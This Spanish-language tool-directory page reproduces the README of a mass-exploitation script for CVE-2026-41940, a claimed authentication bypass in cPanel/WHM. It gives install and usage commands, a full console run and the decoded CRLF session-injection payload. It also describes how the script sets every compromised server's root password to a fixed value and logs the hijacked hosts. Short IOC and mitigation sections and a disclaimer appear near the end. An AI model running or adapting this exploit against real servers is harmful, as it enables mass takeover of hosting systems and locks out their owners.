Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41940 — Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos. | Kitploit
Herramientas/GitHubGitHub/jenderal92/cve-2026-41940
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónComando y ControlAutenticaciónRed TeamingDesarrollo de Payloads
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos.

4411hace 3 mesesAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-41940 - Explotación Masiva de Omisión de Autenticación en WHM/cPanel

43153

📋 Descripción

CVE-2026-41940 es una vulnerabilidad crítica de omisión de autenticación en WHM/cPanel que permite a atacantes eludir la autenticación y obtener acceso root a un servidor sin credenciales válidas. La vulnerabilidad aprovecha la inyección CRLF en el mecanismo de manejo de sesiones para inyectar parámetros de sesión maliciosos.

Esta herramienta proporciona capacidades de explotación masiva con soporte de múltiples hilos para probar múltiples objetivos simultáneamente, con detección inteligente de éxito y filtrado automático de objetivos inválidos.


🎯 Características Principales

CaracterísticaDescripción
✅ Explotación MasivaEscanea y explota múltiples objetivos desde un archivo de lista
🚀 MultihiloNúmero de hilos configurable para escaneo más rápido (predeterminado: 15)
🔐 Cambio Automático de ContraseñaCambia la contraseña de root a Jenderal92 tras una explotación exitosa
🛡️ Detección Inteligente de ÉxitoDetecta automáticamente varios formatos de respuesta de la API de WHM
⚠️ Filtrado de Errores de LicenciaExcluye objetivos con errores de licencia inválida/no se puede leer
📝 Salida EstructuradaGuarda solo los éxitos confirmados en formato `dominio:puerto
🛡️ Soporte SSL/TLSManeja certificados autofirmados automáticamente
🔄 Gestión de SesionesExtracción automática de sesiones, inyección de cookies y manejo de tokens
⏱️ Control de Tiempo de EsperaTiempo de espera de conexión configurable (predeterminado: 15 segundos)
🔍 Verificación Pre-conexiónVerifica la disponibilidad del puerto antes del intento de explotación
📊 Progreso en Tiempo RealMuestra progreso detallado para cada etapa de explotación

📦 Requisitos

  • Python 2.7 (requerido - NO compatible con Python 3.x)
  • Conexión a internet para acceder a los objetivos
  • Paquetes Python requeridos:
root@kitploit:~
pip install requests urllib3 futures

O usar requirements.txt:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Instalación

root@kitploit:~
# Clonar repositorio
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Instalar dependencias
pip install -r requirements.txt

# Hacer ejecutable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Uso

1. Preparar Archivo de Objetivos

Cree un archivo targets.txt con un objetivo por línea:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Nota: El puerto 2087 es el puerto predeterminado de WHM. Si no se especifica, se usará automáticamente el puerto 2087. El prefijo HTTP/HTTPS se añadirá automáticamente si falta.

2. Ejecutar el Exploit

Uso Básico (Configuración Predeterminada)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Uso Multihilo

root@kitploit:~
# Usar 5 hilos concurrentes
python2 CVE-2026-41940.py targets.txt --threads 5

# Usar 20 hilos para escaneo más rápido
python2 CVE-2026-41940.py targets.txt --threads 20

Nombre de Host Personalizado

root@kitploit:~
# Sobrescribir el encabezado Host para todos los objetivos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Tiempo de Espera Personalizado

root@kitploit:~
# Establecer tiempo de espera a 30 segundos para conexiones lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Argumentos de Línea de Comandos

ArgumentoDescripciónPredeterminadoRequerido
list_fileArchivo que contiene la lista de objetivos (uno por línea)-✅ Sí
--threadsNúmero de hilos concurrentes15❌ No
--hostnameSobrescribe el encabezado Host para todos los objetivosAuto-descubrir❌ No
--timeoutTiempo de espera de conexión en segundos15❌ No

📁 Formato de Salida

Archivo de Resultados (res.txt)

Solo se guardan los éxitos de explotación confirmados. Los objetivos con errores de licencia, cambios de contraseña fallidos o problemas de conexión se excluyen automáticamente.

Formato:

root@kitploit:~
dominio:puerto|root|Jenderal92

Ejemplo de salida:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Escenarios Excluidos

Los siguientes objetivos NO se guardarán en res.txt:

  • Errores de licencia (Cannot Read License File)
  • Cambios de contraseña fallidos
  • Tiempos de espera de conexión o rechazos
  • Servidores parcheados/sin WHM
  • Credenciales incorrectas o fallos de sesión

Salida en Consola

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Cargados 4 objetivos
[*] Iniciando exploit con 10 hilos...
[*] Tiempo de espera: 15 segundos
[*] Nota: http:// se añadirá automáticamente si falta
[*] SOLO los objetivos con cambios de contraseña confirmados se guardarán en res.txt
[*] Los objetivos con errores de licencia, problemas de conexión o cambios de contraseña fallidos serán EXCLUIDOS

==================================================

[*] Verificando objetivo: 127.0.0.1
    Entrada original: 127.0.0.1
    Normalizado: https://127.0.0.1:2087
    Puerto 2087: ABIERTO
    Probando conexión... OK (HTTP 200)

[0] hostname = example.com
[1] creando una sesión de preautenticación...
    base de sesión = :d5nPe99Nx9HQdMu2
[2] enviando la inyección CRLF...
    HTTP 307, token filtrado = /cpsess0488087910
[3] ejecutando do_token_denied para propagar...
    HTTP 401, gadget disparado
[4] verificando que somos root de WHM...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] intentando cambiar la contraseña de root
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Cambio de contraseña confirmado (metadata.result=1)
[+] ✓ Contraseña de root cambiada exitosamente a 'Jenderal92'!

[✓] ÉXITO Y GUARDADO: 127.0.0.1:2087
    Guardado en res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] ¡Escaneo completado!
[*] Objetivos con contraseñas cambiadas exitosamente: 1 de 4

[+] Resultados guardados en res.txt

Objetivos explotados exitosamente (contraseña cambiada a Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Cómo Funciona el Exploit

El exploit consta de 4 etapas principales con verificación inteligente:

Etapa 1: Sesión de Preautenticación

root@kitploit:~
[1] creando una sesión de preautenticación...
  • Envía una solicitud POST a /login/?login_only=1 con credenciales inválidas
  • Recupera la cookie whostmgrsession de la respuesta del servidor
  • Extrae la base de la sesión eliminando la parte final ,<obhex>
  • Esto nos da un formato de sesión válido con el que trabajar

Etapa 2: Ataque de Inyección CRLF

root@kitploit:~
[2] enviando la inyección CRLF...
  • Envía una solicitud GET con encabezado Authorization: Basic que contiene un payload malicioso
  • El payload en Base64 se descodifica como:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Los caracteres CRLF (\r\n) inyectan parámetros de sesión falsos
  • Esto engaña al servidor haciéndole creer que la autenticación fue exitosa
  • El servidor responde con HTTP 307 y un encabezado Location que contiene el cp_security_token

Etapa 3: Propagación de Sesión

root@kitploit:~
[3] ejecutando do_token_denied para propagar...
  • Accede al endpoint /scripts2/listaccts con la cookie manipulada
  • Activa el mecanismo do_token_denied en WHM
  • Esto propaga los parámetros de sesión inyectados en la caché de sesión del servidor
  • La respuesta HTTP 401 con "Token denied" confirma la propagación exitosa

Etapa 4: Verificación y Cambio de Contraseña

root@kitploit:~
[4] verificando que somos root de WHM...
  • Accede a /json-api/version para verificar el acceso a nivel root
  • Llama a la API /json-api/passwd para cambiar la contraseña de root a Jenderal92
  • Detecta inteligentemente el éxito en múltiples formatos de respuesta de la API de WHM:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (versiones antiguas)
    • {"result": [{"status": 1}]} (formato heredado)
    • Mensajes de éxito basados en texto

Filtrado Automático

La herramienta excluye automáticamente:

  • Errores de licencia: {"status": 0, "statusmsg": "Cannot Read License File"}
  • Cambios de contraseña fallidos: cuando la API devuelve código de éxito pero la contraseña no se cambió
  • Problemas de conexión: tiempos de espera, conexiones rechazadas, hosts inalcanzables

🛡️ Detección y Mitigación

Indicadores de Compromiso (IOCs)

IndicadorDescripción
Cookie whostmgrsession anómalaPatrones de cookie inusuales sin autenticación adecuada
Caracteres CRLF en encabezadosDetección de secuencias \r\n en encabezados HTTP
Acceso a /scripts2/listacctsAcceso no autorizado a esta ruta
Contraseña Jenderal92Inicio de sesión exitoso usando esta contraseña específica
Fuga de token cpsessToken de seguridad visible en el encabezado Location
Inicio de sesión fallido seguido de éxitoPOST a /login/?login_only=1 con contraseña incorrecta, luego acceso privilegiado

Registros a Monitorear

root@kitploit:~
# Registro de acceso de WHM
/usr/local/cpanel/logs/access_log

# Registro de errores de cPanel
/usr/local/cpanel/logs/error_log

# Registro de autenticación
/var/log/secure

# Mensajes del sistema
/var/log/messages

Pasos de Mitigación

  1. Actualice WHM/cPanel a la versión parcheada más reciente inmediatamente

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Habilite la Autenticación de Dos Factores (2FA) para todas las cuentas, especialmente root

    root@kitploit:~
    WHM → Centro de Seguridad → Autenticación de Dos Factores
    
  3. Restrinja el acceso a WHM con listas blancas de IP

    root@kitploit:~
    WHM → Centro de Seguridad → Control de Acceso de Host
    
  4. Monitoree los registros de acceso regularmente en busca de patrones sospechosos

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Cambie todas las contraseñas si se sospecha de un compromiso

  6. Use reglas de firewall para restringir el acceso al puerto 2087

    root@kitploit:~
    # Permitir solo IPs de confianza
    iptables -A INPUT -p tcp --dport 2087 -s TU_IP_CONFIABLE -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # O usar el firewall CSF/LFD
    csf -a TU_IP_CONFIABLE
    
  7. Implemente reglas WAF para detectar intentos de inyección CRLF

  8. Auditorías de seguridad regulares de las instalaciones de WHM/cPanel


📝 Ejemplos de Uso en Diferentes Escenarios

Escenario 1: Prueba de un Solo Objetivo

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Escenario 2: Auditoría Masiva de Servidores

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Escenario 3: Red Lenta/Larga Distancia

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Escenario 4: Nombre de Host Personalizado Detrás de Proxy/Balanceador de Carga

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Escenario 5: Objetivos con Puertos Mixtos

root@kitploit:~
# targets.txt puede contener varios formatos:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Todos se normalizarán automáticamente
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Solución de Problemas

Error: "module 'urllib' has no attribute 'urlsplit'"

Problema: Usar Python 3 en lugar de Python 2.7
Solución: Esta herramienta requiere específicamente Python 2.7.

root@kitploit:~
# Verificar versión de Python
python2 --version  # Debe mostrar Python 2.7.x

# Ejecutar con python2 explícitamente
python2 CVE-2026-41940.py targets.txt

Error: "Connection refused - target unreachable"

Problema: El objetivo está fuera de línea o el firewall lo bloquea
Solución:

root@kitploit:~
# Probar manualmente
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Error: "/login didn't issue a whostmgrsession cookie"

Problema: El objetivo puede estar parcheado o no está ejecutando WHM
Solución:

  • Verifique que el objetivo esté ejecutando WHM/cPanel
  • Compruebe si se puede acceder al objetivo a través del navegador en https://target:2087
  • El objetivo puede tener ya aplicado el parche de CVE-2026-41940

Rendimiento Lento del Escaneo

Solución: Ajuste el número de hilos y el tiempo de espera

root@kitploit:~
# Para muchos objetivos con buena conectividad
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Para conexiones poco fiables
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Errores de Licencia en la Salida

Nota: Los objetivos que muestran Cannot Read License File se excluyen automáticamente de res.txt. Esto es un comportamiento esperado, ya que los cambios de contraseña no funcionarán en instalaciones de WHM sin licencia.


🔧 Configuración Avanzada

Modificación de Payload Personalizado

Puede modificar PAYLOAD_B64 para parámetros de sesión personalizados:

root@kitploit:~
import base64

# Payload personalizado
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Contraseña Personalizada

Cambie la contraseña en la función do_passwd() (línea ~280):

root@kitploit:~
{"user": "root", "password": "TuContraseñaPersonalizada123"}

Ajuste de Detección de Éxito

La función do_passwd() se puede modificar para detectar formatos de respuesta personalizados de WHM:

root@kitploit:~
# Añadir patrón personalizado en do_passwd()
if 'tu_cadena_de_éxito_personalizada' in (r.text or '').lower():
    return "success"

🤝 Contribuciones

¡Las contribuciones son bienvenidas! Por favor, siga estos pasos:

  1. Haga un fork del repositorio
  2. Cree una rama de funcionalidad (git checkout -b feature/FuncionalidadIncreible)
  3. Haga commit de sus cambios (git commit -m 'Añadir alguna FuncionalidadIncreible')
  4. Haga push a la rama (git push origin feature/FuncionalidadIncreible)
  5. Abra un Pull Request

Directrices de Desarrollo

  • Mantener compatibilidad con Python 2.7
  • Probar con diferentes versiones de WHM/cPanel
  • Agregar manejo adecuado de errores
  • Actualizar la documentación para nuevas funcionalidades

⭐ Historial de Estrellas

Si esta herramienta es útil para su investigación de seguridad, ¡por favor dele una ⭐ en GitHub!

Star History Chart


❗ FAQ

P: ¿Se puede detectar esta herramienta?
R: Sí, esta herramienta deja rastros en los registros de acceso de WHM/cPanel. Úsela solo con la autorización adecuada y para pruebas de seguridad legítimas.

P: ¿Cuánto tiempo lleva la explotación?
R: Aproximadamente 5-15 segundos por objetivo dependiendo de la latencia de la red y el tiempo de respuesta del servidor.

P: ¿Requiere acceso root previo?
R: No, este exploit funciona completamente desde el exterior sin ninguna autenticación.

P: ¿Funciona esta herramienta en Windows?
R: Sí, siempre que Python 2.7 esté instalado y configurado correctamente.

P: Mi objetivo usa un puerto diferente, ¿qué debo hacer?
R: Especifique el puerto en la URL del objetivo: https://target.com:2083 para cPanel o cualquier puerto personalizado.

P: ¿Por qué algunos objetivos no se guardan en res.txt aunque el exploit funcionó?
R: La herramienta solo guarda objetivos donde la contraseña se cambió exitosamente. Los objetivos con errores de licencia, cambios de contraseña fallidos u otros problemas se excluyen incluso si la omisión de autenticación fue exitosa.

P: ¿Qué versiones de WHM/cPanel son vulnerables?
R: Versiones anteriores al parche de CVE-2026-41940. Consulte el changelog de cPanel para la versión parcheada.


📌 Notas Importantes

  • ✅ Esta herramienta cambia la contraseña de root a Jenderal92 tras una explotación exitosa
  • 📡 El puerto predeterminado de WHM es 2087 (se usa automáticamente si no se especifica)
  • 🔒 La verificación del certificado SSL está deshabilitada para soportar certificados autofirmados
  • 💾 Solo los éxitos confirmados (contraseña cambiada) se guardan en res.txt
  • ⚠️ Los errores de licencia y cambios de contraseña fallidos se filtran automáticamente
  • 🔄 Cada ejecución crea un nuevo archivo res.txt (los resultados antiguos se eliminan)
  • 🌐 El prefijo HTTP/HTTPS se añade automáticamente si falta en los objetivos
  • 🧵 El número de hilos predeterminado es 15, ajustable según las capacidades del sistema

Creado con fines educativos de investigación en seguridad
Use con responsabilidad, manténgase legal, manténgase ético


⚠️ AVISO LEGAL

⚠️ ¡ADVERTENCIA CRÍTICA!

Esta herramienta fue creada exclusivamente para:

  • ✅ Fines educativos e investigación en seguridad
  • ✅ Pruebas de penetración autorizadas
  • ✅ Evaluaciones de seguridad en sistemas que le pertenecen
  • ✅ Verificación de vulnerabilidades con permiso por escrito

Usos ESTRICTAMENTE PROHIBIDOS:

  • ❌ Acceder a sistemas sin autorización explícita
  • ❌ Cualquier forma de actividades ilegales
  • ❌ Acciones maliciosas o causar daño a sistemas
  • ❌ Acceso no autorizado a cualquier sistema informático
  • ❌ Violar cualquier ley local, estatal o federal

El(los) autor(es) NO asumen ninguna responsabilidad por cualquier uso indebido, daño o consecuencia derivada del uso de esta herramienta. Al usar esta herramienta, usted acepta usarla solo en sistemas que le pertenecen o para los cuales tiene autorización explícita por escrito para probar.

Si continúa, usted reconoce que:

  1. Tiene autorización para probar los sistemas objetivo
  2. Comprende las implicaciones legales del acceso no autorizado
  3. Cumplirá con todas las leyes y regulaciones aplicables
  4. El(los) autor(es) no son responsables de sus acciones

Más avisos legales: Puede ver el aviso legal en la portada de Jenderal92. Puede consultarlo ¡¡¡AQUÍ!!!

Descargar herramienta